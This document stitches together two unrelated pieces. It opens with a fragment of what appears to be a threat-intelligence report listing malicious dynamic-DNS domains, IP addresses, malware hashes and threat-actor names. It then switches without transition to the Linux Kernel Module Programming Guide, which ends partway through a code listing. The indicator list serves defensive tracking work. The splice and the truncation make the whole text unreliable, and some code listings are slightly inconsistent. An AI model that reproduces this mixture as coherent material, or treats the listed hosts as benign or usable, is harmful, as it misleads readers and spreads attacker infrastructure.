yugoogless - abcd091202.3322.org - 530.0 - meibubaker.3322.org - helshellfucde.8866.org - 3q.wubangtu.info - Cs.lflink.com - pliment.3322.org ### IPv4 Addresses (165) - 202.65.220.64 - 113.10.246.30 - 202.65.222.45 - 75.126.95.138 - 219.90.112.203 - 219.90.112.197 - 70.39.116.226 - 98.126.148.116 - 98.126.211.218 - 114.80.96.8 - 184.169.176.71 - 54.241.6.130 - 115.160.182.206 - 98.126.211.219 - 164.100.45.145 - 60.2.92.67 - 60.10.1.115 - 199.2.137.238 - 10.87.1.7 - 174.139.20.34 - 202.181.247.134 - 60.10.1.114 - 60.10.1.119 - 98.126.148.114 - 124.237.77.25 - 221.130.179.36 - 184.72.33.25 - 60.2.148.167 - 54.241.2.3 - 60.10.1.120 - 60.2.148.166 - 60.2.148.165 - 60.2.92.68 - 60.10.1.118 - 125.77.199.30 - 101.78.151.179 - 122.112.2.14 - 54.245.89.19 - 54.241.13.219 - 60.10.1.121 - 124.237.77.11 - 184.169.134.80 - 60.2.92.69 - 54.241.8.84 - 223.25.233.244 - 223.25.233.230 - 202.181.247.133 - 142.163.215.42 - 219.76.208.163 - 54.251.58.234 - 123.108.108.120 - 204.74.215.58 - 59.188.239.22 - 58.64.203.50 - 180.210.204.105 - 112.140.186.64 - 101.78.151.174 - 180.210.206.96 - 101.78.151.106 - 199.2.137.234 - 123.183.210.26 - 122.193.64.58 - 123.183.210.28 - 218.240.54.126 - 122.193.64.56 - 122.193.64.59 - 221.207.59.118 - 223.25.233.247 - 140.110.11.220 - 202.149.213.17 - 124.237.77.25 - 180.210.206.240 - 174.139.20.35 - 125.141.229.78 - 61.111.18.53 - 180.210.204.200 - 59.188.234.34 - 58.64.179.144 - 58.64.179.121 - 101.78.151.167 - 180.210.206.224 - 58.64.178.225 - 58.64.179.108 - 60.209.5.243 - 216.83.43.205 - 122.200.124.57 - 111.92.231.6 - 27.98.200.50 - 121.41.129.12 - 112.213.118.34 - 121.41.129.59 - 60.10.1.124 - 218.11.132.168 - 121.41.129.140 - 222.73.205.105 - 119.167.225.48 - 112.213.118.33 - 184.169.160.194 - 121.41.129.100 - 54.254.124.68 - 121.41.129.214 - 54.241.7.146 - 60.163.225.156 - 112.84.190.115 - 74.54.152.76 - 202.150.208.60 - 180.210.204.230 - 27.98.200.47 - 202.150.213.12 - 14.102.252.142 - 54.241.17.1 - 125.39.80.4 - 117.11.157.171 - 60.2.148.164 - 125.39.80.205 - 118.192.11.19 - 123.183.210.27 - 218.57.11.26 - 121.41.129.179 - 121.41.129.143 - 121.41.129.75 - 208.73.210.85 - 69.2.92.68 - 121.41.129.193 - 184.169.163.193 - 121.41.129.213 - 121.41.129.250 - 115.192.191.33 - 121.41.129.223 - 222.35.136.119 - 204.74.216.146 - 222.255.28.27 - 216.131.95.22 - 192.168.242.23 - 76.73.80.133 - 74.208.56.101 - 63.221.138.37 - 50.117.115.89 - 58.64.129.153 - 58.64.129.152 - 23.23.232.244 - 69.43.161.170 - 199.59.163.207 - 69.43.161.130 ### Hashes (194) - 026871ea3d6cbbeb90fea6bf2906cc12 - 1f43738b1f67266fdafd73235acbf338 - 3c9a177a39e09e9a4ec4f09c029f5cb2 - 4713557e3ed2ced62ceccbe4d07314b4 - 6cf2f645395fbb64bbc14fb8993e2eea - e765c69b11860c4f1b84276278991253 - 0323de551aa10ca6221368c4a73732e6 - 02ac495eb31a2405fce287565b590a1f - 0678645e45fcd3da84ab27122d6775a9 - 0a43013eef1c2ffba36e3c29512c89a2 - 8087d49e7bb391e0ba6e482f931b0ad5 - bc90b4593b7b631a78a8305a873d6d5c - be6e72ad1b1ed2685a23dfe1b36f03cc - c977d6e9c7844a1c8d6db1b6a9aba497 - ce8112de474c22c1407ce94245c2d1de - db815161022fcecf282b40745f72d9fc - e74d62dfdc308df3038e61dfc4e4256 - 03e0271d12a24050da632675b14091c1 - 707a4493775fd9c959861dcf04f18283 - 808e21d6efa2884811fbd0adf67fda78 - 8010cae3e8431bb11ed6dc9acabb93b7 - 08709f35581e0958d1ca4e50b7d86dba - 459ee0adaad4d493830e655eb4d686f7 - 5032ff32a41748bdb40df0fd581cd669 - 140e728871eff241e0148363b2931b1d - 767d04f72f5941326f11f8927cf3697b - 87133a339492ecb5142a93c7bbfd3805 - d5889a7223b9d13b60ab08aafe3344ad - 0fe91d41d2b361f6a88b51a6ed880d23 - 45894da9ebcfd132c29acb6411af8af6 - 5281dcb76c34b8ae45c3f03f883a08db - b18505ee9e2cecc69035acc912114768 - 00beeeef9dfe8ddf5f8d539504777e7e - 54dcae2d9d420d6d21d4d605ed798332 - e06cb5f8ed24903ab9f42816cb0c2922 - f39c796e229a65a3ef23c3885471d1df - 15d42116acb393ac4d323fb7606c8108 - 046f51fb62d01957497a349be2bb555f - 9e161fad98a678fa957d8cda2a608cb0 - 410eeaa18dbec01a27c5b41753b3c7ed - e3ff26beb4334899014cd941816c3180 - c3171961e78d3acdb4cd299c643ba482 - 1372fae7e279b29eb648d158ae022172 - e4242bbcc0aa91c40a50a8305d7a3433 - 105c80e404324938eae633934ee44ed1 - 5c5401fd7d32f481570511c73083e9a1 - 6005cbea84d281e03b53be49d1378885 - 11ea8d8dd0ffde8285f3c0049861a442 - d8c00fed6625e5f8d0b8188a5caac115 - 5c00b5d04c31b1b85382ff1eecff6084 - cf8094c07c15aa394dddd4eca4aa8c8b - 9aab46ed60be9f0356f4b6e39191ae5d - 19361c808d262d89437bd56072c9a297 - 5ac4f52d56009c18e9156ae5ea0d2016 - 56cff0d0e0ce486aa0b9e4bc0bf2a141 - 6848da04f6c10d2cceae4831351cb291 - 68fec995a13762184a2616bda86757f8 - 76b744382cdc455f8b20542de34493d2 - 6d989302166ba1709d66f90066c2fd59 - 629049d376058a1f31ab2a36f3c0f234 - 65887898252f7e192709a33be268ea41 - 625a4f618d14991cd9bd595bdd590570 - e6ca06e9b000933567a8604300094a85 - e62584c9cd15c3fa2b6ed0f3a34688ab - d6dba8166b7b1da0173a0165d3a3e0bf - 1d4e74574bd8fde793d85cbe59f8a288 - 1ccb5a6dfec4261b32eee8d439f821df - 6ff16afc92ce09acd2e3890b780efd86 - 8a2205deb22c6ad61f007d52dc220351 - 9e2af3377f508c22a3e96e1110ad5f12 - f0ee1f777d1c6a009c37cbcbf81f3a5a - 88fd19e48625e623a4d6abb5d5b78445 - 4ad286a97c82f91df3e07b101a224f5 - 6fbd221f328ced713025ffcf589dba9a - 7d551d1cba1aa7696ab5a787e93b4c83 - 841ec2dec944964fc54786a1167713ff - 85321dee31100bd3ece5b586ac3e6557 - 9de349e581b66bd410cf7a737d0db1e1 - a4d13be7f6b8f66c80731b75d7d5aff8 - 2ffe59a6a047b2333a1f3eb58753f3bc - 54fcf43e6f7641eeacdf1fd12a740c7 - d81dac704850c0ee051b8455510cc0a4 - 52a58fc5e8aeb2e87215649f66210ed8 - c2c7ceb8a428a36b80b9ce1037d209dd - 9a59411e7b12236c0b4351168fb47ce ### Domains (147) - www.hq.dsmtp.com - www.hq.dynssl.com - www.dnsserver.ns01.us - js001.3322.org - www.msnet.freetcp.com - www.dhcpserver.ns01.us - www.msnet.proxydns.com - www.consilium.dnset.com - tw.2012yearleft.com - www.webserver.freetcp.com - fbi.zyns.com - www.consilium.dynssl.com - www.webserver.dynssl.com - ftp.join3com.com - www.webserver.fartit.com - av.ddns.us - weile3322a.3322.org - europa.freetcp.com - nyhq.wikaba.com - cecon.flower-show.org - wt.ikwb.com - weile3322b.3322.org - mf.ddns.info - xc.chromeenter.com - army.xxuz.com - www.consilium.proxydns.com - pansenes.3322.org - voanews.proxydns.com - microsofte.byinter.net - microsoftb.byinter.net - microsofta.byinter.net - microsoftc.byinter.net - nasa.xxuz.com - domain.rm6.org - sh.chromeenter.com - www.iesecs.com - microcnmlgb.3322.org - cyhk2008.8800.org - info.jodsky.com - aaa.aa24.net - ma.vizvaz.com - zg.ns02.biz - ngcc.8800.org - monkey.2012yearleft.com - za.myftp.info - apple.cmdnetview.com - dedydns.ns01.us - hk.2012yearleft.com - send.have8000.com - gensuzuki.6600.org - abcd091221.3322.org - pliment.3322.org - xgstone.3322.org - for.ddns.mobi - kmd.crabdance.com - yo.acmetoy.com - cs.lflink.com - sportsnews.findhere.org - autuo.xicp.net - antivirus-groups.com - minzhu.jetos.com - twtw.toh.info - www.microsoft.dynssl.com - www.microsoft.wikaba.com - www.microsoft.dhcp.biz - anti-virus.sytes.net - out.se7.org - kr.iphone.qpoe.com - thief.epac.to - cmdnetview.com - do.ddns.ms - nodns2.qipian.org - jj.mysecondarydns.com - applelib120102.9966.org - hk.cmdnetview.com - scrlk.exprenum.com - microsoftupdate.freeTCP.com - microsoftupdate.ns01.biz - microsoftupdate.eDNS.biz - ww.msnet.proxydns.com - suzukigooogle.8866.org - threethree.ns1.name - nkr.iphone.qpoe.com - tempsys.8866.org - tempfy.9966.org - www.unog.dnset.com - www.unog.freetcp.com - www.unog.dynssl.com - dawosi.3322.org - action.jungleheart.com - pu.flower-show.org - support.mrslove.com - geo.dnset.com - poc.hidnew.com - ct.toh.info - win7.my03.com - have8000.com - abcd120719.6600.org - cloudns.8800.org - 6r.suibian2010.info - helshellfucde.8866.org - 3q.wubangtu.info - mongoles.3322.org - test.yamaha.10dig.net - www.yamaha10.tk - yeap1.jumpingcrab.com - maofajapa.3322.org - xwwl8866.vicp.net - www.windows.wikaba.com - www.microsoft.onmypc.net - www.microsoftupdate.dynssl.COM - autonews.redirect.hm - e.ct.toh.info - baby.macforlinux.net - www.microsoftupdate.dynssl.com - www.webserver.proxydns.com - abcd120719.6600.org - jpwen.2288.org - abcd120807.3322.org - www.st4rt.org - abcd120221.3322.org - hi777.3322.org - aei.cisconline.net - bst.longmusic.com - yahoomail.2waky.com - dmc.ezua.com - fast.ddns.us - exam.zyns.com - usemail.mrbasic.com - memo.dnsrd.com - nualits.MrFace.com - sportsnews.chilichi.com - microsoftd.byinter.net - rdp.hidnew.com - kr.wt.ikwb.com - ipod.jodsky.com - abcd120807.3322.org - barrybaker.6600.org - xgstonebak.3322.org - meibubaker.3322.org - abcd100621.3322.org - cvnxus.mine.nu - XGstone.3322.org - DNSPODDWG.authorizeddns.org - yugoogless.3322.org - muller.exprenum.com - wefhijapad.9966.org ## Email Addresses - [email protected] ## Threat Actors (7) - menupass - admin338 - th3bug - wl - nitro - F - japanorus
# The Linux Kernel Module Programming Guide ## Foreword ### 1. Acknowledgements Ori Pomerantz would like to thank Yoav Weiss for many helpful ideas and discussions, as well as finding mistakes within this document before its publication. Ori would also like to thank Frodo Looijaard from the Netherlands, Stephen Judd from New Zealand, Magnus Ahltorp from Sweden, and Emmanuel Papirakis from Quebec, Canada. I'd like to thank Ori Pomerantz for authoring this guide in the first place and then letting me maintain it. It was a tremendous effort on his part. I hope he likes what I've done with this document. I would also like to thank Jeff Newmiller and Rhonda Bailey for teaching me. They've been patient with me and lent me their experience, regardless of how busy they were. David Porter had the unenviable job of helping convert the original LaTeX source into docbook. It was a long, boring, and dirty job. But someone had to do it. Thanks, David. Thanks also goes to the fine people at www.kernelnewbies.org. In particular, Mark McLoughlin and John Levon who I'm sure have much better things to do than to hang out on kernelnewbies.org and teach the newbies. If this guide teaches you anything, they are partially to blame. Both Ori and I would like to thank Richard M. Stallman and Linus Torvalds for giving us the opportunity to not only run a high-quality operating system, but to take a close peek at how it works. I've never met Linus, and probably never will, but he has made a profound difference in my life. The following people have written to me with corrections or good suggestions: Ignacio Martin, David Porter, and Dimo Velev. ### 2. Authorship And Copyright The Linux Kernel Module Programming Guide (lkmpg) was originally written by Ori Pomerantz. It became very popular as being the best free way to learn how to program Linux kernel modules. Life got busy, and Ori no longer had time or inclination to maintain the document. After all, the Linux kernel is a fast-moving target. Peter Jay Salzman (that's me) offered to take over maintainership so at least bug fixes and occasional updating would happen. ### 3. Nota Bene Ori's original document was good about supporting earlier versions of Linux, going all the way back to the 2.0 days. I had originally intended to keep with the program, but after thinking about it, opted out. My main reason to keep with the compatibility was for GNU/Linux distributions like LEAF, which tended to use older kernels. However, even LEAF uses 2.2 and 2.4 kernels these days. Both Ori and I use the x86 platform. For the most part, the source code and discussions should apply to other architectures, but I can't promise anything. One exception is Chapter 12, Interrupt Handlers, which should not work on any architecture except for x86. ## Chapter 1. Introduction ### 1.1. What Is A Kernel Module? So, you want to write a kernel module. You know C, you've written a few normal programs to run as processes, and now you want to get to where the real action is, to where a single wild pointer can wipe out your file system and a core dump means a reboot. What exactly is a kernel module? Modules are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. Without modules, we would have to build monolithic kernels and add new functionality directly into the kernel image. Besides having larger kernels, this has the disadvantage of requiring us to rebuild and reboot the kernel every time we want new functionality. ### 1.2. How Do Modules Get Into The Kernel? You can see what modules are already loaded into the kernel by running `lsmod`, which gets its information by reading the file `/proc/modules`. How do these modules find their way into the kernel? When the kernel needs a feature that is not resident in the kernel, the kernel module daemon `kmod` execs `modprobe` to load the module in. `modprobe` is passed a string in one of two forms: - A module name like `softdog` or `ppp`. - A more generic identifier like `char-major-10-30`. If `modprobe` is handed a generic identifier, it first looks for that string in the file `/etc/modules.conf`. If it finds an alias line like: ``` alias char-major-10-30 softdog ``` it knows that the generic identifier refers to the module `softdog.o`. Next, `modprobe` looks through the file `/lib/modules/version/modules.dep`, to see if other modules must be loaded before the requested module may be loaded. This file is created by `depmod -a` and contains module dependencies. For example, `msdos.o` requires the `fat.o` module to be already loaded into the kernel. The requested module has a dependency on another module if the other module defines symbols (variables or functions) that the requested module uses. Lastly, `modprobe` uses `insmod` to first load any prerequisite modules into the kernel, and then the requested module. `modprobe` directs `insmod` to `/lib/modules/version/`, the standard directory for modules. `insmod` is intended to be fairly dumb about the location of modules, whereas `modprobe` is aware of the default location of modules. So for example, if you wanted to load the `msdos` module, you'd have to either run: ``` insmod /lib/modules/2.5.1/kernel/fs/fat/fat.o insmod /lib/modules/2.5.1/kernel/fs/msdos/msdos.o ``` or just run `modprobe -a msdos`. Linux distros provide `modprobe`, `insmod`, and `depmod` as a package called `modutils` or `mod-utils`. Before finishing this chapter, let's take a quick look at a piece of `/etc/modules.conf`: ``` # This file is automatically generated by update-modules path[misc]=/lib/modules/2.4.?/local keep path[net]=~p/mymodules options mydriver irq=10 alias eth0 eepro ``` Lines beginning with a `#` are comments. Blank lines are ignored. The `path[misc]` line tells `modprobe` to replace the search path for misc modules with the directory `/lib/modules/2.4.?/local`. As you can see, shell meta characters are honored. The `path[net]` line tells `modprobe` to look for net modules in the directory `~p/mymodules`, however, the "keep" directive preceding the `path[net]` directive tells `modprobe` to add this directory to the standard search path of net modules as opposed to replacing the standard search path, as we did for the misc modules. The alias line says to load in `eepro.o` whenever `kmod` requests that the generic identifier `eth0` be loaded. You won't see lines like "alias block-major-2 floppy" in `/etc/modules.conf` because `modprobe` already knows about the standard drivers which will be used on most systems. Now you know how modules get into the kernel. There's a bit more to the story if you want to write your own modules which depend on other modules (we call this `stacking modules`). But this will have to wait for a future chapter. We have a lot to cover before addressing this relatively high-level issue. ### 1.2.1. Before We Begin Before we delve into code, there are a few issues we need to cover. Everyone's system is different and everyone has their own groove. Getting your first "hello world" program to compile and load correctly can sometimes be a trick. Rest assured, after you get over the initial hurdle of doing it for the first time, it will be smooth sailing thereafter. #### 1.2.1.1. Modversioning A module compiled for one kernel won't load if you boot a different kernel unless you enable `CONFIG_MODVERSIONS` in the kernel. We won't go into module versioning until later in this guide. Until we cover modversions, the examples in the guide may not work if you're running a kernel with modversioning turned on. However, most stock Linux distro kernels come with it turned on. If you're having trouble loading the modules because of versioning errors, compile a kernel with modversioning turned off. #### 1.2.1.2. Using X It is highly recommended that you type in, compile, and load all the examples this guide discusses. It's also highly recommended you do this from a console. You should not be working on this stuff in X. Modules can't print to the screen like `printf()` can, but they can log information and warnings, which ends up being printed on your screen, but only on a console. If you `insmod` a module from an xterm, the information and warnings will be logged, but only to your log files. You won't see it unless you look through your log files. To have immediate access to this information, do all your work from console. #### 1.2.1.3. Compiling Issues and Kernel Version Very often, Linux distros will distribute kernel source that has been patched in various non-standard ways, which may cause trouble. A more common problem is that some Linux distros distribute incomplete kernel headers. You'll need to compile your code using various header files from the Linux kernel. Murphy's Law states that the headers that are missing are exactly the ones that you'll need for your module work. To avoid these two problems, I highly recommend that you download, compile, and boot into a fresh, stock Linux kernel which can be downloaded from any of the Linux kernel mirror sites. See the Linux Kernel HOWTO for more details. Ironically, this can also cause a problem. By default, `gcc` on your system may look for the kernel headers in their default location rather than where you installed the new copy of the kernel (usually in `/usr/src/`). This can be fixed by using `gcc`'s `-I` switch. ## Chapter 2. Hello World ### 2.1. Hello, World (part 1): The Simplest Module When the first caveman programmer chiseled the first program on the walls of the first cave computer, it was a program to paint the string `Hello, world` in Antelope pictures. Roman programming textbooks began with the `Salut, Mundi` program. I don't know what happens to people who break with this tradition, but I think it's safer not to find out. We'll start with a series of hello world programs that demonstrate the different aspects of the basics of writing a kernel module. Here's the simplest module possible. Don't compile it yet; we'll cover module compilation in the next section. ```c /* hello-1.c - The simplest kernel module. * * Copyright (C) 2001 by Peter Jay Salzman * * 08/02/2006 - Updated by Rodrigo Rubira Branco <[email protected]> */ /* Kernel Programming */ #define MODULE #define LINUX #define __KERNEL__ #include <linux/module.h> /* Needed by all modules */ #include <linux/kernel.h> /* Needed for KERN_ALERT */ int init_module(void) { printk("<1>Hello world 1.\n"); return 0; // A non 0 return means init_module failed; module can't be loaded. } void cleanup_module(void) { printk(KERN_ALERT "Goodbye world 1.\n"); } MODULE_LICENSE("GPL"); ``` Kernel modules must have at least two functions: a "start" (initialization) function called `init_module()` which is called when the module is insmoded into the kernel, and an "end" (cleanup) function called `cleanup_module()` which is called just before it is rmmoded. Actually, things have changed starting with kernel 2.3.13. You can now use whatever name you like for the start and end functions of a module, and you'll learn how to do this in Section 2.3. In fact, the new method is the preferred method. However, many people still use `init_module()` and `cleanup_module()` for their start and end functions. Typically, `init_module()` either registers a handler for something with the kernel, or it replaces one of the kernel functions with its own code (usually code to do something and then call the original function). The `cleanup_module()` function is supposed to undo whatever `init_module()` did, so the module can be unloaded safely. Lastly, every kernel module needs to include `linux/module.h`. We needed to include `linux/kernel.h` only for the macro expansion for the `printk()` log level, `KERN_ALERT`, which you'll learn about in Section 2.1.1. ### 2.1.1. Introducing printk() Despite what you might think, `printk()` was not meant to communicate information to the user, even though we used it for exactly this purpose in hello-1! It happens to be a logging mechanism for the kernel, and is used to log information or give warnings. Therefore, each `printk()` statement comes with a priority, which is the `<1>` and `KERN_ALERT` you see. There are 8 priorities and the kernel has macros for them, so you don't have to use cryptic numbers, and you can view them (and their meanings) in `linux/kernel.h`. If you don't specify a priority level, the default priority, `DEFAULT_MESSAGE_LOGLEVEL`, will be used. Take time to read through the priority macros. The header file also describes what each priority means. In practice, don't use numbers, like `<4>`. Always use the macro, like `KERN_WARNING`. If the priority is less than `int console_loglevel`, the message is printed on your current terminal. If both `syslogd` and `klogd` are running, then the message will also get appended to `/var/log/messages`, whether it got printed to the console or not. We use a high priority, like `KERN_ALERT`, to make sure the `printk()` messages get printed to your console rather than just logged to your logfile. When you write real modules, you'll want to use priorities that are meaningful for the situation at hand. ### 2.2. Compiling Kernel Modules Kernel modules need to be compiled with certain `gcc` options to make them work. In addition, they also need to be compiled with certain symbols defined. This is because the kernel header files need to behave differently, depending on whether we're compiling a kernel module or an executable. You can define symbols using `gcc`'s `-D` option, or with the `#define` preprocessor command. We'll cover what you need to do in order to compile kernel modules in this section. - `-c`: A kernel module is not an independent executable, but an object file which will be linked into the kernel during runtime using `insmod`. As a result, modules should be compiled with the `-c` flag. - `-O2`: The kernel makes extensive use of inline functions, so modules must be compiled with the optimization flag turned on. Without optimization, some of the assembler macros calls will be mistaken by the compiler for function calls. This will cause loading the module to fail, since `insmod` won't find those functions in the kernel. - `-W -Wall`: A programming mistake can take your system down. You should always turn on compiler warnings, and this applies to all your compiling endeavors, not just module compilation. - `-isystem /lib/modules/`uname -r`/build/include`: You must use the kernel headers of the kernel you're compiling against. Using the default `/usr/include/linux` won't work. - `-D__KERNEL__`: Defining this symbol tells the header files that the code will be run in kernel mode, not as a user process. - `-DMODULE`: This symbol tells the header files to give the appropriate definitions for a kernel module. We use `gcc`'s `-isystem` option instead of `-I` because it tells `gcc` to suppress some "unused variable" warnings that `-W -Wall` causes when you include `module.h`. By using `-isystem` under `gcc-3.0`, the kernel header files are treated specially, and the warnings are suppressed. If you instead use `-I` (or even `-isystem` under `gcc 2.9x`), the "unused variable" warnings will be printed. Just ignore them if they do. So, let's look at a simple Makefile for compiling a module named `hello-1.c`: ```makefile TARGET := hello-1 WARN := -W -Wall -Wstrict-prototypes -Wmissing-prototypes INCLUDE := -isystem /lib/modules/`uname -r`/build/include CFLAGS := -O2 -DMODULE -D__KERNEL__ ${WARN} ${INCLUDE} CC := gcc-3.0 ${TARGET}.o: ${TARGET}.c .PHONY: clean clean: rm -rf ${TARGET}.o ``` As an exercise to the reader, compile `hello-1.c` and insert it into the kernel with `insmod ./hello-1.o` (ignore anything you see about tainted kernels; we'll cover that shortly). Neat, eh? All modules loaded into the kernel are listed in `/proc/modules`. Go ahead and `cat` that file to see that your module is really a part of the kernel. Congratulations, you are now the author of Linux kernel code! When the novelty wears off, remove your module from the kernel by using `rmmod hello-1`. Take a look at `/var/log/messages` just to see that it got logged to your system logfile. Here's another exercise to the reader. See that comment above the return statement in `init_module()`? Change the return value to something non-zero, recompile and load the module again. What happens? ### 2.3. Hello World (part 2) As of Linux 2.4, you can rename the init and cleanup functions of your modules; they no longer have to be called `init_module()` and `cleanup_module()` respectively. This is done with the `module_init()` and `module_exit()` macros. These macros are defined in `linux/init.h`. The only caveat is that your init and cleanup functions must be defined before calling the macros, otherwise you'll get compilation errors. Here's an example of this technique: ```c /* hello-2.c - Demonstrating the module_init() and module_exit() macros. This is the * preferred over using init_module() and cleanup_module(). * * Copyright (C) 2001 by Peter Jay Salzman * * 08/02/2006 - Updated by Rodrigo Rubira Branco <[email protected]> */ /* Kernel Programming */ #define MODULE #define LINUX #define __KERNEL__ #include <linux/module.h> // Needed by all modules #include <linux/kernel.h> // Needed for KERN_ALERT #include <linux/init.h> // Needed for the macros static int hello_2_init(void) { printk(KERN_ALERT "Hello, world 2\n"); return 0; } static void hello_2_exit(void) { printk(KERN_ALERT "Goodbye, world 2\n"); } module_init(hello_2_init); module_exit(hello_2_exit); MODULE_LICENSE("GPL"); ``` So now we have two real kernel modules under our belt. With productivity as high as ours, we should have a high-powered Makefile. Here's a more advanced Makefile which will compile both our modules at the same time. It's optimized for brevity and scalability. If you don't understand it, I urge you to read the makefile info pages or the GNU Make Manual. ```makefile WARN := -W -Wall -Wstrict-prototypes -Wmissing-prototypes INCLUDE := -isystem /lib/modules/`uname -r`/build/include CFLAGS := -O2 -DMODULE -D__KERNEL__ ${WARN} ${INCLUDE} CC := gcc-3.0 OBJS := ${patsubst %.c, %.o, ${wildcard *.c}} all: ${OBJS} .PHONY: clean clean: rm -rf *.o ``` As an exercise to the reader, if we had another module in the same directory, say `hello-3.c`, how would you modify this Makefile to automatically compile that module? ### 2.4. Hello World (part 3): The __init and __exit Macros This demonstrates a feature of kernel 2.2 and later. Notice the change in the definitions of the init and cleanup functions. The `__init` macro causes the init function to be discarded and its memory freed once the init function finishes for built-in drivers, but not loadable modules. If you think about when the init function is invoked, this makes perfect sense. There is also an `__initdata` which works similarly to `__init` but for init variables rather than functions. The `__exit` macro causes the omission of the function when the module is built into the kernel, and like `__exit`, has no effect for loadable modules. Again, if you consider when the cleanup function runs, this makes complete sense; built-in drivers don't need a cleanup function, while loadable modules do. These macros are defined in `linux/init.h` and serve to free up kernel memory. When you boot your kernel and see something like "Freeing unused kernel memory: 236k freed," this is precisely what the kernel is freeing. ```c /* hello-3.c - Illustrating the __init, __initdata and __exit macros. * * Copyright (C) 2001 by Peter Jay Salzman * * 08/02/2006 - Updated by Rodrigo Rubira Branco <[email protected]> */ /* Kernel Programming */ #define MODULE #define LINUX #define __KERNEL__ #include <linux/module.h> /* Needed by all modules */ #include <linux/kernel.h> /* Needed for KERN_ALERT */ #include <linux/init.h> /* Needed for the macros */ static int hello3_data __initdata = 3; static int __init hello_3_init(void) { printk(KERN_ALERT "Hello, world %d\n", hello3_data); return 0; } static void __exit hello_3_exit(void) { printk(KERN_ALERT "Goodbye, world 3\n"); } module_init(hello_3_init); module_exit(hello_3_exit); MODULE_LICENSE("GPL"); ``` By the way, you may see the directive `__initfunction()` in drivers written for Linux 2.2 kernels: ```c __initfunction(int init_module(void)) { printk(KERN_ALERT "Hi there.\n"); return 0; } ``` This macro served the same purpose as `__init`, but is now very deprecated in favor of `__init`. I only mention it because you might see it in modern kernels. As of 2.4.18, there are 38 references to `__initfunction()`, and of 2.4.20, there are 37 references. However, don't use it in your own code. ### 2.5. Hello World (part 4): Licensing and Module Documentation If you're running kernel 2.4 or later, you might have noticed something like this when you loaded the previous example modules: ``` # insmod hello-3.o Warning: loading hello-3.o will taint the kernel: no license See http://www.tux.org/lkml/#export-tainted for information about tainted modules Hello, world 3 Module hello-3 loaded, with warnings ``` In kernel 2.4 and later, a mechanism was devised to identify code licensed under the GPL (and friends) so people can be warned that the code is non open-source. This is accomplished by the `MODULE_LICENSE()` macro which is demonstrated in the next piece of code. By setting the license to GPL, you can keep the warning from being printed. This license mechanism is defined and documented in `linux/module.h`. Similarly, `MODULE_DESCRIPTION()` is used to describe what the module does, `MODULE_AUTHOR()` declares the module's author, and `MODULE_SUPPORTED_DEVICE()` declares what types of devices the module supports. These macros are all defined in `linux/module.h` and aren't used by the kernel itself. They're simply for documentation and can be viewed by a tool like `objdump`. As an exercise to the reader, try grepping through `linux/drivers` to see how module authors use these macros to document their modules. ```c /* hello-4.c - Demonstrates module documentation. * * Copyright (C) 2001 by Peter Jay Salzman * * 08/02/2006 - Updated by Rodrigo Rubira Branco <[email protected]> */ /* Kernel Programming */ #define MODULE #define LINUX #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> #define DRIVER_AUTHOR "Peter Jay Salzman <[email protected]>" #define DRIVER_DESC "A sample driver" int init_hello_3(void); void cleanup_hello_3(void); static int init_hello_4(void) { printk(KERN_ALERT "Hello, world 4\n"); return 0; } static void cleanup_hello_4(void) { printk(KERN_ALERT "Goodbye, world 4\n"); } module_init(init_hello_4); module_exit(cleanup_hello_4); /* You can use strings, like this: */ MODULE_LICENSE("GPL"); // Get rid of taint message by declaring code as GPL. /* Or with defines, like this: */ MODULE_AUTHOR(DRIVER_AUTHOR); // Who wrote this module? MODULE_DESCRIPTION(DRIVER_DESC); // What does this module do? /* This module uses /dev/testdevice. The MODULE_SUPPORTED_DEVICE macro might be used in * the future to help automatic configuration of modules, but is currently unused other * than for documentation purposes. */ MODULE_SUPPORTED_DEVICE("testdevice"); ``` ### 2.6. Passing Command Line Arguments to a Module Modules can take command line arguments, but not with the `argc/argv` you might be used to. To allow arguments to be passed to your module, declare the variables that will take the values of the command line arguments as global and then use the `MODULE_PARM()` macro, (defined in `linux/module.h`) to set the mechanism up. At runtime, `insmod` will fill the variables with any command line arguments that are given, like `./insmod mymodule.o myvariable=5`. The variable declarations and macros should be placed at the beginning of the module for clarity. The example code should clear up my admittedly lousy explanation. The `MODULE_PARM()` macro takes 2 arguments: the name of the variable and its type. The supported variable types are "b": single byte, "h": short int, "i": integer, "l": long int and "s": string, and the integer types can be signed as usual or unsigned. Strings should be declared as `char *` and `insmod` will allocate memory for them. You should always try to give the variables an initial default value. This is kernel code, and you should program defensively. For example: ```c int myint = 3; char *mystr; MODULE_PARM(myint, "i"); MODULE_PARM(mystr, "s"); ``` Arrays are supported too. An integer value preceding the type in `MODULE_PARM` will indicate an array of some maximum length. Two numbers separated by a '-' will give the minimum and maximum number of values. For example, an array of shorts with at least 2 and no more than 4 values could be declared as: ```c int myshortArray[4]; MODULE_PARM(myintArray, "3-9i"); ``` A good use for this is to have the module variable's default values set, like a port or IO address. If the variables contain the default values, then perform autodetection (explained elsewhere). Otherwise, keep the current value. This will be made clear later on. Lastly, there's a macro function, `MODULE_PARM_DESC()`, that is used to document arguments that the module can take. It takes two parameters: a variable name and a free form string describing that variable. ```c /* hello-5.c - Demonstrates command line argument passing to a module. * * Copyright (C) 2001 by Peter Jay Salzman * * 08/02/2006 - Updated by Rodrigo Rubira Branco <[email protected]> */ /* Kernel Programming */ #define MODULE #define LINUX #define __KERNEL__ #include <linux/module.h> #include <linux/kernel.h> #include <linux/init.h> MODULE_LICENSE("GPL"); MODULE_AUTHOR("Peter Jay Salzman"); // These global variables can be set with command line arguments when you insmod // the module in. static u8 mybyte = 'A'; static unsigned short myshort = 1; static int myint = 20; static long mylong = 9999; static char *mystring = "blah"; static int myintArray[2] = { 0, 420 }; /* Now we're actually setting the mechanism up - making the variables command * line arguments rather than just a bunch of global variables. */ MODULE_PARM(mybyte, "b"); MODULE_PARM(myshort, "h"); MODULE_PARM(myint, "i"); MODULE_PARM(mylong, "l"); MODULE_PARM(mystring, "s"); MODULE_PARM(myintArray, "1-2i"); MODULE_PARM_DESC(mybyte, "This byte really does nothing at all."); MODULE_PARM_DESC(myshort, "This short is *extremely* important."); // You get the picture. Always use a MODULE_PARM_DESC() for each MODULE_PARM(). static int __init hello_5_init(void) { printk(KERN_ALERT "mybyte is an 8 bit integer: %i\n", mybyte); printk(KERN_ALERT "myshort is a short integer: %hi\n", myshort); printk(KERN_ALERT "myint is an integer: %i\n", myint); printk(KERN_ALERT "mylong is a long integer: %li\n", mylong); printk(KERN_ALERT "mystring is a string: %s\n", mystring); 